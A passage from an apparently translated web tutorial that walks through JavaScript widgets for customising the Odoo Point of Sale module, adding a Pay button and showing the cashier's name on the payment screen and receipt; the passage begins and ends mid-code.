<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">Selector</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_selector <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScreenSelector</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">pos</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">,</code>
<code class="javascript_label">screen_set</code>:<code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">products</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">payment</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">client_payment</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">scale_invite</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">scale</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">receipt</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">welcome</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">popup_set</code>:<code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">help</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-product</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-session</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-negative-price</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">choose-receipt</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_client_screen</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">welcome</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_cashier_screen</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">products</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_mode</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code>iface_self_checkout <code class="javascript_operator">?</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code>debug)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>debug_widget <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">DebugWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>debug_widget<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#content</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
We add the widget that will display the <b>Pay</b> button we will see later to the list of widgets to build .<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e23440">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e23440" onclick="selectionCode('contenuCoded0e23440');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e23440">
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-GoToPayWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
</code></pre>
</div>
Here it says that the widget will be placed in the <b><div id="placeholder-GoToPayWidget"></ div></b> tag that we put in the view later.</div>
<h3 class="TitreSection2" id="LVIII-A-3">
VIII-A-3. The CashierPayScreenWidget module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
This module will allow us to add a function to the original <b>module.PaymentScreenWidget</b> module (which is in <b>screen.js </b>file of <b>point_of_sale</b> module), again with the <b>include()</b> function<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e23519">
PaymentScreenWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e23519" onclick="selectionCode('contenuCoded0e23519');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e23519"> module<code class="javascript_operator">.</code>CashierPayScreenWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PaymentScreenWidget<code class="javascript_operator">.</code><code class="javascript_function">include</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">PaymentScreenWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">show</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#pay-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#ticket-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">set_cashier_name</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaypadWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-PaypadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
The module will be attached to the <b>PaymentScreenWidget </b>template view .<br /><br />
We will add some instructions in the <b>show()</b> function of the module. <br /><br />
We will first of all get the name of the cashier who is in the <b>globalCashier</b> global variable that will be displayed on the payment page and on the receipt.<br />
It will then record the name of the cashier in the current order with the following function<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e23727">
set_cashier_name<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e23727" onclick="selectionCode('contenuCoded0e23727');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e23727"> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">set_cashier_name</code>(globalCashier)<code class="javascript_operator">;</code>
</code></pre>
</div>
This function does not exist yet, we'll add it later.<br /><br />
Finally, we will recreate the payment buttons that I removed,. In addition, they will be destroyed at the end of each order. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e23761">
PaypadWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e23761" onclick="selectionCode('contenuCoded0e23761');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e23761"> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaypadWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-PaypadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
</code></pre>
</div>
<div class="imgtext-info">
The PaypadWidget module is the original one created for the Point Of Sale. This is the one that was removed before it was next to the keypad, which was replaced with the <b>Pay </b>button.</div>
</div>
<h3 class="TitreSection2" id="LVIII-A-4">
VIII-A-4. The CashierReceiptScreenWidget module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
Here we will add instructions in the original function<b> refresh()</b> of <b>ReceiptScreenWidget</b> module that is in <b>screen.js</b> file of <b>point_of_sale</b> module. This is the module that will display the name of the cashier on the receipt.<br />
In fact, it will copy the original function and add the last three lines (the if() statement).<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e23843">
CashierReceiptScreenWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e23843" onclick="selectionCode('contenuCoded0e23843');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e23843"> module<code class="javascript_operator">.</code>CashierReceiptScreenWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>ReceiptScreenWidget<code class="javascript_operator">.</code><code class="javascript_function">include</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">refresh</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.pos-receipt-container</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$el)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(QWeb<code class="javascript_operator">.</code><code class="javascript_function">render</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">PosTicket</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>widget<code class="javascript_operator">:</code><code class="javascript_literal2">this</code><code class="javascript_operator">}</code>))<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(globalCashier <code class="javascript_operator">!</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#ticket-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
You see that we get the name of the cashier who is in <b>globalCashier</b> variable to send it to <b><div id="ticket-screen-cashier-name"></ div> </b>tag that is diplayed on the receipt. We'll see that later when we take care of the views (XML).</div>
<h3 class="TitreSection2" id="LVIII-A-5">
VIII-A-5. GoToPayWidget module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
Now we will create the module that will host the Pay button.<br />
Warning, this is not the button itself, it is simply the « container » that will host the button.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e23997">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e23997" onclick="selectionCode('contenuCoded0e23997');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e23997"> module<code class="javascript_operator">.</code>GoToPayWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PosBaseWidget<code class="javascript_operator">.</code><code class="javascript_function">extend</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">GoToPayWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">init</code>: <code class="javascript_keyword1">function</code>(parent<code class="javascript_operator">,</code> options) <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>(parent)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayButtonWidget</code>(self)<code class="javascript_operator">;</code>
button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(self<code class="javascript_operator">.</code>$el)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
As for the other original Point Of Sale modules, these are extensions of <b>PosBaseWidget</b> module.<br />
We assign the template view with the following statement:<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e24134">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e24134" onclick="selectionCode('contenuCoded0e24134');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e24134"> <code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">GoToPayWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
</code></pre>
</div>
Then adding the<b> init() </b>function like the original modules.<br />
We will then add a function that will command QWeb (the rendering engine templates) to add the<b> Pay</b> button, we will see just after this module (in its container, somehow). <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e24161">
renderElement<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e24161" onclick="selectionCode('contenuCoded0e24161');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e24161"> <code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayButtonWidget</code>(self)<code class="javascript_operator">;</code>
button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(self<code class="javascript_operator">.</code>$el)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
That's all for this module</div>
<h3 class="TitreSection2" id="LVIII-A-6">
VIII-A-6. GoToPayButtonWidget module (Pay button)<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
This time, we will create the module of the <b>Pay </b>button.<br />
As with the previous module, it will be an extension of the basic <b>PosBaseWidget</b> module, we assign the <b>GoToPayButtonWidget</b> template view , we add the <b>init() </b>function that goes well, then we also add the <b>renderElement()</b> function.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e24256">
GoToPayButtonWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e24256" onclick="selectionCode('contenuCoded0e24256');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e24256"> module<code class="javascript_operator">.</code>GoToPayButtonWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PosBaseWidget<code class="javascript_operator">.</code><code class="javascript_function">extend</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">GoToPayButtonWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">init</code>: <code class="javascript_keyword1">function</code>(parent<code class="javascript_operator">,</code> options) <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>(parent)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$el<code class="javascript_operator">.</code><code class="javascript_function">click</code>(<code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
self<code class="javascript_operator">.</code>pos_widget<code class="javascript_operator">.</code>screen_selector<code class="javascript_operator">.</code><code class="javascript_function">set_current_screen</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">payment</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
We add <b>click()</b> function in <b>renderElement()</b>.<br />
This function is performed, you guessed it, when clicking on the button (onclick() event).<br />
This function itself will call the function to display different views of Point Of Sale.<br />
In this case, it will display the payment page.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e24416">
set_current_screen()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e24416" onclick="selectionCode('contenuCoded0e24416');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e24416"> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$el<code class="javascript_operator">.</code><code class="javascript_function">click</code>(<code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
self<code class="javascript_operator">.</code>pos_widget<code class="javascript_operator">.</code>screen_selector<code class="javascript_operator">.</code><code class="javascript_function">set_current_screen</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">payment</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
</div>
<h3 class="TitreSection2" id="LVIII-A-7">
VIII-A-7. Order module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
This is the module that creates the orders, which stores them in the browser (LocalStorage), and which then sends the orders to the database.<br />
It is not possible to overload the original module, because when initializing, the module returns an object (the order) to the Point Of Sale, and we need to modify it to take into account the name of the cashier.<br /><br />
We'll copy/paste the entire module you will find in <b>model.js</b> file of <b>point_of_sale</b> module and we will add two or three things.<br />
I put the code of the module and I'll explain only the functions or objects I added. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e24486">
module.Order<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e24486" onclick="selectionCode('contenuCoded0e24486');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e24486">
module<code class="javascript_operator">.</code>Order <code class="javascript_operator">=</code> Backbone<code class="javascript_operator">.</code>Model<code class="javascript_operator">.</code><code class="javascript_function">extend</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">initialize</code>: <code class="javascript_keyword1">function</code>(attributes)<code class="javascript_operator">{</code>
Backbone<code class="javascript_operator">.</code>Model<code class="javascript_operator">.</code>prototype<code class="javascript_operator">.</code>initialize<code class="javascript_operator">.</code><code class="javascript_function">apply</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> arguments)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">creationDate</code>: <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">orderLines</code>: <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OrderlineCollection</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">paymentLines</code>: <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaymentlineCollection</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">name</code>: <code class="javascript_literal1">"</code><code class="javascript_literal1">Order</code><code class="javascript_literal1"> </code><code class="javascript_literal1">"</code> <code class="javascript_operator">+</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">generateUniqueId</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">client</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code>
<code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos <code class="javascript_operator">=</code> attributes<code class="javascript_operator">.</code>pos<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> undefined<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data <code class="javascript_operator">=</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">see</code><code class="javascript_comment2"> </code><code class="javascript_comment2">ScreenSelector</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">receipt</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'receipt'</code><code class="javascript_comment2"> </code><code class="javascript_comment2">||</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'invoice'</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">generateUniqueId</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">.</code><code class="javascript_function">getTime</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">addProduct</code>: <code class="javascript_keyword1">function</code>(product<code class="javascript_operator">,</code> options)<code class="javascript_operator">{</code>
options <code class="javascript_operator">=</code> options <code class="javascript_operator">|</code><code class="javascript_operator">|</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> attr <code class="javascript_operator">=</code> product<code class="javascript_operator">.</code><code class="javascript_function">toJSON</code>()<code class="javascript_operator">;</code>
attr<code class="javascript_operator">.</code>pos <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">;</code>
attr<code class="javascript_operator">.</code>order <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> line <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">Orderline</code>(<code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code>pos<code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">,</code> order<code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">,</code> product<code class="javascript_operator">:</code> product<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(options<code class="javascript_operator">.</code>quantity <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> undefined)<code class="javascript_operator">{</code>
line<code class="javascript_operator">.</code><code class="javascript_function">set_quantity</code>(options<code class="javascript_operator">.</code>quantity)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">if</code>(options<code class="javascript_operator">.</code>price <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> undefined)<code class="javascript_operator">{</code>
line<code class="javascript_operator">.</code><code class="javascript_function">set_unit_price</code>(options<code class="javascript_operator">.</code>price)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">var</code> last_orderline <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getLastOrderline</code>()<code class="javascript_operator">;</code>
